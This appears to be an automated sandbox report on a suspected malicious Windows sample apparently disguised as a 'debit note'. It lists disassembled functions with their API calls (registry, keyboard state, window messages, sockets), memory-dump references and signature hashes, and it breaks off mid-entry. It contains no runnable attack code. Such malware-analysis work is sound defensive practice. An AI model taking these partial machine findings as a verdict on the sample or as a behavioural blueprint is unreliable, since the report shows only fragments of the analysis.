                                          Function 0044734F Relevance: 10.7, APIs: 7, Instructions: 210COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 0044719B: DeleteObject.GDI32(00000000), ref: 004471D8
                                            • Part of subcall function 0044719B: ExtCreatePen.GDI32(?,?,?,00000000,00000000), ref: 00447218
                                            • Part of subcall function 0044719B: SelectObject.GDI32(?,00000000), ref: 00447228
                                            • Part of subcall function 0044719B: BeginPath.GDI32(?), ref: 0044723D
                                            • Part of subcall function 0044719B: SelectObject.GDI32(?,00000000), ref: 00447266
                                          • Ellipse.GDI32(?,?,FFFFFFFE,00000000,00000000), ref: 004474C4
                                          • MoveToEx.GDI32(?,?,FFFFFFFE,00000000), ref: 004474D4
                                          • AngleArc.GDI32(?,?,FFFFFFFE,00000000), ref: 0044750F
                                          • LineTo.GDI32(?,?,FFFFFFFE), ref: 00447518
                                          • CloseFigure.GDI32(?), ref: 0044751F
                                          • SetPixel.GDI32(?,?,FFFFFFFE,00000000), ref: 0044752E
                                          • Rectangle.GDI32(?,?,FFFFFFFE,00000000), ref: 0044754A
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
                                          • String ID:
                                          • API String ID: 4082120231-0
                                          • Opcode ID: 7999c5ddb42d2811e8fcb41125d4db3c21d66abb345ae56e6caae54fa290efb2
                                          • Instruction ID: e674395c2b36b0b5590bf657e4107f8d2570055e184bc57fe517c57e0a53fcaf
                                          • Opcode Fuzzy Hash: 7999c5ddb42d2811e8fcb41125d4db3c21d66abb345ae56e6caae54fa290efb2
                                          • Instruction Fuzzy Hash: 36713CB4904109EFEB04CF94C884EBEBBB9EF85310F24855AE9156B341D774AE42CBA5
                                          Function 0046B280 Relevance: 10.7, APIs: 7, Instructions: 196registryCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                                            • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                            • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046B3A6
                                          • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?), ref: 0046B3D2
                                          • RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 0046B3FD
                                          • RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 0046B430
                                          • RegCloseKey.ADVAPI32(?,000000FF,00000000), ref: 0046B459
                                          • RegCloseKey.ADVAPI32(?,?,00000000), ref: 0046B492
                                          • RegCloseKey.ADVAPI32(?), ref: 0046B49D
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Close$ConnectEnumOpenRegistryValue_malloc_memmove_wcslen
                                          • String ID:
                                          • API String ID: 2027346449-0
                                          • Opcode ID: 2b9cac7d06e9b3c82fe541c1c7e321d1f48fab5647307c3a769b9fb80d6ae4cb
                                          • Instruction ID: e744fe3a0f0af3658e2b80b3541497a384b181c150b1b14c88f03688e4e42502
                                          • Opcode Fuzzy Hash: 2b9cac7d06e9b3c82fe541c1c7e321d1f48fab5647307c3a769b9fb80d6ae4cb
                                          • Instruction Fuzzy Hash: 92613D71218301ABD304EF65C985E6BB7A8FFC8704F008A2EF945D7281DB75E945CBA6
                                          Function 0047A66E Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                                            • Part of subcall function 0046F3C1: IsWindow.USER32(00000000), ref: 0046F3F1
                                          • GetMenu.USER32 ref: 0047A703
                                          • GetMenuItemCount.USER32(00000000), ref: 0047A74F
                                          • GetMenuStringW.USER32(00000000,?,?,00007FFF,00000400), ref: 0047A783
                                          • _wcslen.LIBCMT ref: 0047A79E
                                          • GetMenuItemID.USER32(00000000,?), ref: 0047A7E0
                                          • GetSubMenu.USER32(00000000,?), ref: 0047A7F2
                                          • PostMessageW.USER32(?,00000111,?,00000000), ref: 0047A884
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Menu$Item$CountMessagePostStringWindow_malloc_wcslen
                                          • String ID:
                                          • API String ID: 3257027151-0
                                          • Opcode ID: c981ea3ceee1feb4f68cdf1bad830475cd4f783826951488cb1c5ff232b53bc9
                                          • Instruction ID: 02f8ada5611b6a2978ded3aa89f74167ce8c021908d800e5e23178b580333db3
                                          • Opcode Fuzzy Hash: c981ea3ceee1feb4f68cdf1bad830475cd4f783826951488cb1c5ff232b53bc9
                                          • Instruction Fuzzy Hash: AA51FA71504301ABD310EF25DC81B9FB7E8FF88314F108A2EF989A7241D779E95487A6
                                          Function 0046D230 Relevance: 10.7, APIs: 7, Instructions: 170networkCOMMON
                                          Download Yara Rule
                                          APIs
                                          • select.WSOCK32(00000000,?,00000000,00000000,?), ref: 0046D3D3
                                          • WSAGetLastError.WSOCK32(00000000), ref: 0046D3E4
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ErrorLastselect
                                          • String ID:
                                          • API String ID: 215497628-0
                                          • Opcode ID: a2339aeea388287f00fab5c9ba0e4a7d07c2007cb3e616b5232981a1bd598a56
                                          • Instruction ID: fadcceb5308e48970113ceaff65c18732520a09434288b0a98514d96d8681c7b
                                          • Opcode Fuzzy Hash: a2339aeea388287f00fab5c9ba0e4a7d07c2007cb3e616b5232981a1bd598a56
                                          • Instruction Fuzzy Hash: 65510772E001046BD710EF69DC85FAEB3A8EB94320F14856EF905D7381EA35DD41C7A5
                                          Function 004443FC Relevance: 10.7, APIs: 7, Instructions: 170windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetParent.USER32(?), ref: 0044443B
                                          • GetKeyboardState.USER32(?), ref: 00444450
                                          • SetKeyboardState.USER32(?), ref: 004444A4
                                          • PostMessageW.USER32(?,00000101,00000010,?), ref: 004444D4
                                          • PostMessageW.USER32(?,00000101,00000011,?), ref: 004444F5
                                          • PostMessageW.USER32(?,00000101,00000012,?), ref: 00444541
                                          • PostMessageW.USER32(?,00000101,0000005B,?), ref: 00444566
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessagePost$KeyboardState$Parent
                                          • String ID:
                                          • API String ID: 87235514-0
                                          • Opcode ID: 4481168041494e1849bbb8b05fe85edf3de4190132d6f0e43f59e21d2d662a19
                                          • Instruction ID: 8f44bbd55e3387c5fecf3766ecc31f273ddc6601011f0052083f6d8a5cbafb33
                                          • Opcode Fuzzy Hash: 4481168041494e1849bbb8b05fe85edf3de4190132d6f0e43f59e21d2d662a19
                                          • Instruction Fuzzy Hash: 2051D6A05047D53AFB3682748846BA7BFE42F86704F08868BE1D5559C3D3ECE994CB68
                                          Function 004445F4 Relevance: 10.7, APIs: 7, Instructions: 170windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetParent.USER32(?), ref: 00444633
                                          • GetKeyboardState.USER32(?), ref: 00444648
                                          • SetKeyboardState.USER32(?), ref: 0044469C
                                          • PostMessageW.USER32(?,00000100,00000010,?), ref: 004446C9
                                          • PostMessageW.USER32(?,00000100,00000011,?), ref: 004446E7
                                          • PostMessageW.USER32(?,00000100,00000012,?), ref: 00444730
                                          • PostMessageW.USER32(?,00000100,0000005B,?), ref: 00444752
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessagePost$KeyboardState$Parent
                                          • String ID:
                                          • API String ID: 87235514-0
                                          • Opcode ID: 988eb571eba6180a4ec7f7c38e49780efe397f424a6b2059308ac6c1f0666447
                                          • Instruction ID: 3b822c4357a53f38689f34ecdfb8cd013e642acfd09065eaf4f6fa9230d15588
                                          • Opcode Fuzzy Hash: 988eb571eba6180a4ec7f7c38e49780efe397f424a6b2059308ac6c1f0666447
                                          • Instruction Fuzzy Hash: 7451D4B05047D139F73692688C45BA7BFD86B8B304F08868FF1D5156C2D3ACB895CB69
                                          Function 0045537F Relevance: 10.6, APIs: 7, Instructions: 149windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(?,00001308,?,00000000), ref: 0045539F
                                          • ImageList_Remove.COMCTL32(?,?), ref: 004553D3
                                          • SendMessageW.USER32(?,0000133D,?,00000002), ref: 004554BB
                                          • DeleteObject.GDI32(?), ref: 00455736
                                          • DeleteObject.GDI32(?), ref: 00455744
                                          • DestroyIcon.USER32(?), ref: 00455752
                                          • DestroyWindow.USER32(?), ref: 00455760
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: DeleteDestroyMessageObjectSend$IconImageList_RemoveWindow
                                          • String ID:
                                          • API String ID: 2354583917-0
                                          • Opcode ID: 35278296b08b7a07ab4037b75477043e0b107217007b5923df3ad7b8258325fa
                                          • Instruction ID: c6eb43681ca9132c11a6020d2ba108f27148fdc9c8ef1f50c91adec3b3f4716e
                                          • Opcode Fuzzy Hash: 35278296b08b7a07ab4037b75477043e0b107217007b5923df3ad7b8258325fa
                                          • Instruction Fuzzy Hash: 76516B74204A419FC714DF24C4A4BB677F5FF8A302F1486AAED998B392D738A849CB54
                                          Function 0044982A Relevance: 10.6, APIs: 7, Instructions: 135COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 3e9aeaa8e8d9a9efa26880ce8322a829618f36bb2b0e75f2f32cf9c77c57eef6
                                          • Instruction ID: 5d193f65ffce5f3a1406795a0d9a37a93f2f4887bdc9b14e5c8c629f49d9966a
                                          • Opcode Fuzzy Hash: 3e9aeaa8e8d9a9efa26880ce8322a829618f36bb2b0e75f2f32cf9c77c57eef6
                                          • Instruction Fuzzy Hash: 0A413871900114ABE710DF58CC84FAF7765EB46320F14826EF858AB3C1C7745D02EB98
                                          Function 0044882A Relevance: 10.6, APIs: 7, Instructions: 130windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 004488BD
                                          • SendMessageW.USER32(?,00000469,?,00000000), ref: 004488D3
                                          • EnableWindow.USER32(?,00000000), ref: 00448B5C
                                          • EnableWindow.USER32(?,00000001), ref: 00448B72
                                          • ShowWindow.USER32(?,00000000), ref: 00448BE8
                                          • ShowWindow.USER32(?,00000004), ref: 00448BF4
                                          • EnableWindow.USER32(?,00000001), ref: 00448C09
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Window$Enable$Show$MessageMoveSend
                                          • String ID:
                                          • API String ID: 896007046-0
                                          • Opcode ID: 487afd455632248a3d509b30b3d46b8f07dcfb1983bcccedac1426ad742150ab
                                          • Instruction ID: 578be1c3660e2fd518c7beccd973f741d6ce186f3db94e5441c29ef1e5fc56da
                                          • Opcode Fuzzy Hash: 487afd455632248a3d509b30b3d46b8f07dcfb1983bcccedac1426ad742150ab
                                          • Instruction Fuzzy Hash: 5F419D742003809FF724DB24C894BAB77E0FF96305F18446EF5859B291DB78A845CB59
                                          Function 00448AB2 Relevance: 10.6, APIs: 7, Instructions: 98windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(?,00000401,?,00000000), ref: 00448AC9
                                          • GetFocus.USER32 ref: 00448ACF
                                          • EnableWindow.USER32(?,00000000), ref: 00448B5C
                                          • EnableWindow.USER32(?,00000001), ref: 00448B72
                                          • ShowWindow.USER32(?,00000000), ref: 00448BE8
                                          • ShowWindow.USER32(?,00000004), ref: 00448BF4
                                          • EnableWindow.USER32(?,00000001), ref: 00448C09
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Window$Enable$Show$FocusMessageSend
                                          • String ID:
                                          • API String ID: 3429747543-0
                                          • Opcode ID: 611a307e80107d343a79f7fc2cfd1bfbec1158008c6b2b7743f92638a6db6fc0
                                          • Instruction ID: 6f3afe48a64986b2df7f4b22be5166ca64fe0b5af1f2aee4406df3dc20f3ce1d
                                          • Opcode Fuzzy Hash: 611a307e80107d343a79f7fc2cfd1bfbec1158008c6b2b7743f92638a6db6fc0
                                          • Instruction Fuzzy Hash: F331C4706043805BF7248F24CCC8BAFB7D4FB95305F08491EF581A6291DBBCA845CB59
                                          Function 00401250 Relevance: 10.6, APIs: 7, Instructions: 86windowtimeCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00401B80: _wcsncpy.LIBCMT ref: 00401C41
                                            • Part of subcall function 00401B80: _wcscpy.LIBCMT ref: 00401C5D
                                            • Part of subcall function 00401B80: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401C6F
                                          • KillTimer.USER32(?,?,?,?,?), ref: 004012D3
                                          • SetTimer.USER32(?,?,000002EE,00000000), ref: 004012E2
                                          • Shell_NotifyIconW.SHELL32(?,000003A8), ref: 0042730F
                                          • Shell_NotifyIconW.SHELL32(?,000003A8), ref: 00427363
                                          • Shell_NotifyIconW.SHELL32(?,000003A8), ref: 004273AE
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: IconNotifyShell_$Timer$Kill_wcscpy_wcsncpy
                                          • String ID:
                                          • API String ID: 3300667738-0
                                          • Opcode ID: 4b14c7d07e087387f8a3c98a8cd4bd71866d27c85158e2001d1b6fa40e2d0dfa
                                          • Instruction ID: ad6fff92b80ef16b1053521cf30c66606da497e43c90b6e238f917110e524b22
                                          • Opcode Fuzzy Hash: 4b14c7d07e087387f8a3c98a8cd4bd71866d27c85158e2001d1b6fa40e2d0dfa
                                          • Instruction Fuzzy Hash: AF31EA70604259BFDB16CB24DC55BEAFBBCBB02304F0000EAF58CA3291C7741A95CB9A
                                          Function 0045D448 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83COMMON
                                          Download Yara Rule
                                          APIs
                                          • SetErrorMode.KERNEL32(00000001), ref: 0045D459
                                          • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D4CF
                                          • __swprintf.LIBCMT ref: 0045D4E9
                                          • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D52D
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ErrorMode$InformationVolume__swprintf
                                          • String ID: %lu$\VH
                                          • API String ID: 3164766367-2432546070
                                          • Opcode ID: 886de82fe176795aba7bdb97f378ec25336d41d961a023bcb5d27bbb6add7ed5
                                          • Instruction ID: a5bcfc38f1a54d16d783223dfbe865d4bc924dff4e6617147b97584b2165572c
                                          • Opcode Fuzzy Hash: 886de82fe176795aba7bdb97f378ec25336d41d961a023bcb5d27bbb6add7ed5
                                          • Instruction Fuzzy Hash: 11317171A00209AFCB14EF95DD85EAEB7B8FF48304F1084AAF905A7291D774EA45CB94
                                          Function 00450B7C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00450BE7
                                          • SendMessageW.USER32(00000000,00000409,00000000,FF000000), ref: 00450BF8
                                          • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00450C06
                                          • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00450C17
                                          • SendMessageW.USER32(00000000,00000404,00000001,00000000), ref: 00450C25
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessageSend
                                          • String ID: Msctls_Progress32
                                          • API String ID: 3850602802-3636473452
                                          • Opcode ID: bde72abdda352e35c3e71b9276821fa19048fea6f3879b5342d5f34549d04d22
                                          • Instruction ID: 3e9a69ee1b5e3cb2ffa50bc712587bba9ef5757239c838e11c91c46d95a842ac
                                          • Opcode Fuzzy Hash: bde72abdda352e35c3e71b9276821fa19048fea6f3879b5342d5f34549d04d22
                                          • Instruction Fuzzy Hash: 7A21667135030477EB20DEA9DC82F97B3AD9F94B24F21460AFB54A72D1C5B5F8418B58
                                          Function 00455531 Relevance: 10.6, APIs: 7, Instructions: 75windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
